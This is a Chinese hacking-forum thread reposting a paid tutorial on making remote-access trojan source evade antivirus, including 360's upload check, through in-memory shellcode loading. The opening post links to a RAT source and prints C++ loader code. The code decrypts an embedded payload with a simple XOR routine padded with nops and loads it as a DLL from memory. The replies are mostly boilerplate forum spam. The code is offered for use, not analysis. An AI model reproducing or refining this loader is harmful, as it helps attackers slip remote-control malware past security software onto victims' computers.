查看: 1946|回复: 82

2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码)

  [复制链接]

已抛锚 成长值: 3865

签到天数: 28 天

[LV.4]偶尔看看III

发表于 2016-12-21 17:36:23 | 显示全部楼层 |阅读模式

该帖子还有未显示内容,请登录后查看完整内容!

您需要 登录 才可以下载或查看,没有帐号?注册账号

x
这个是放肆网络论坛的VIP教程,只要VIP会员才可以下载哦,
华中帝国技术论坛首泄,分享给华中帝国的VIP会员!


2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码)

语音教程 如果听不见把声音放大点!

教程中使用的远控源码:
传说中的Ball单EXE 效果没得说
http://bbs.yesmybi.com/thread-37305-1-1.html
(出处: 华中帝国)
  1. #include "junction.h"
  2. extern "C" __declspec(dllexport)void FangSi()
  3. {
  4. }

  5. /dll /incremental:no /pdb:


  6. #include "MemLoadDll.h"
  7. #include "c_ball.h"
  8. HINSTANCE hInstance = NULL;
  9. void EncryptData(unsigned char *szRec, unsigned long nLen, unsigned long key)//解密
  10. {
  11.         _asm nop;
  12.         unsigned long i;
  13.         unsigned char p;
  14.                 _asm nop;
  15.         p = (unsigned char ) key % 254 +8;

  16.         for(i = 0; i < nLen; i+=2)
  17.         {
  18.        
  19.                 *szRec ^= p;
  20.                 *szRec += p;
  21.                 szRec++;
  22.                
  23.         }


  24. }
  25. typedef int (WINAPI *PFN_POPMSGBOX)(void);
  26. DWORD MainFunc(char*Name)
  27. {
  28.         HRSRC hResInfo;
  29.         HGLOBAL hResData;
  30.         DWORD dwSize;
  31.         PVOID DllResourceModule=NULL;
  32.         HMEMORYMODULE hDll;
  33.         PFN_POPMSGBOX pfn;

  34.         EncryptData((unsigned char *)BallMyFileBuf,BallMyFileSize,3800);               
  35.         hDll=MemoryLoadLibrary(BallMyFileBuf);
  36.         if (hDll==NULL)
  37.                 return -1 ;
  38.         pfn=MemoryGetProcAddress(hDll,Name);
  39.         if (pfn==NULL)
  40.         {
  41.                 MemoryFreeLibrary(hDll);
  42.                 return -1;
  43.         }
  44.         pfn();
  45.         if (hDll!=NULL)
  46.         {
  47.                 MemoryFreeLibrary(hDll);
  48.                 hDll=NULL;
  49.         }

  50.         return 0;
  51. }

  52.         char Ribi[]={'F','a','n','g','S','i','\0'};
  53.         MainFunc(Ribi);
  54.         return 0;
复制代码
游客,如果您要查看本帖隐藏内容请回复

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。
由于本论坛使用网盘站外链接,避免不了下载链接过期,失效等问题,如您发现帖子下载链接失效,软件
后门等不良帖子时。请到帖子举报区进行举报,以便于我们及时修复,举手之劳,方便他人,也方便自己。
回复
分享到:

使用道具 举报

签到天数: 153 天

[LV.7]常住居民III

发表于 2016-12-21 18:19:42 | 显示全部楼层
点击了解详情!
2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛华中帝国是同类论坛中资源最多的!2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。
由于本论坛使用网盘站外链接,避免不了下载链接过期,失效等问题,如您发现帖子下载链接失效,软件
后门等不良帖子时。请到帖子举报区进行举报,以便于我们及时修复,举手之劳,方便他人,也方便自己。

签到天数: 235 天

[LV.7]常住居民III

发表于 2016-12-21 18:47:20 | 显示全部楼层
点击了解详情!
2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛试试看吧,看完帖子在评论~

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。
由于本论坛使用网盘站外链接,避免不了下载链接过期,失效等问题,如您发现帖子下载链接失效,软件
后门等不良帖子时。请到帖子举报区进行举报,以便于我们及时修复,举手之劳,方便他人,也方便自己。

签到天数: 53 天

[LV.5]常住居民I

发表于 2016-12-21 19:07:30 | 显示全部楼层
2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛找了好久了,拿去爽爽!2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。
由于本论坛使用网盘站外链接,避免不了下载链接过期,失效等问题,如您发现帖子下载链接失效,软件
后门等不良帖子时。请到帖子举报区进行举报,以便于我们及时修复,举手之劳,方便他人,也方便自己。

签到天数: 38 天

[LV.5]常住居民I

发表于 2016-12-21 19:10:17 | 显示全部楼层
2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛华中帝国是同类论坛中资源最多的!2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。
由于本论坛使用网盘站外链接,避免不了下载链接过期,失效等问题,如您发现帖子下载链接失效,软件
后门等不良帖子时。请到帖子举报区进行举报,以便于我们及时修复,举手之劳,方便他人,也方便自己。

签到天数: 467 天

[LV.9]以坛为家II

发表于 2016-12-21 19:21:34 | 显示全部楼层
2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛华中帝国是同类论坛中资源最多的!2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。

签到天数: 91 天

[LV.6]常住居民II

发表于 2016-12-21 19:51:15 | 显示全部楼层
华中帝国严格审核,不精不选!2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。

签到天数: 92 天

[LV.6]常住居民II

发表于 2016-12-21 20:12:47 | 显示全部楼层
华中帝国2017年将主要收集整理各个论坛VIP资源!2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。

签到天数: 63 天

[LV.6]常住居民II

发表于 2016-12-21 20:41:03 | 显示全部楼层
华中帝国2017年将主要收集整理各个论坛VIP资源!2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码),华中帝国技术论坛

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。

签到天数: 35 天

[LV.5]常住居民I

发表于 2016-12-21 20:53:34 | 显示全部楼层
来看看。。。
应该需要

点击获取华中帝国技术论坛邀请码


您好!您暂时不能浏览帖子的全部内容,请 登录 | 没有帐号? 注册账号  (本帖含有附件) 
怀才就像怀孕,时间久了才能让人看出来。
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

华中帝国技术论坛发布的2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码)帖子由网友提供或转载于网络,若发布的2017最新利用shellcode加载免杀任意远控源码过360上传鉴定(语音教程+工具代码)侵犯了您的权益,请联系我们.
快速回复 返回顶部 返回列表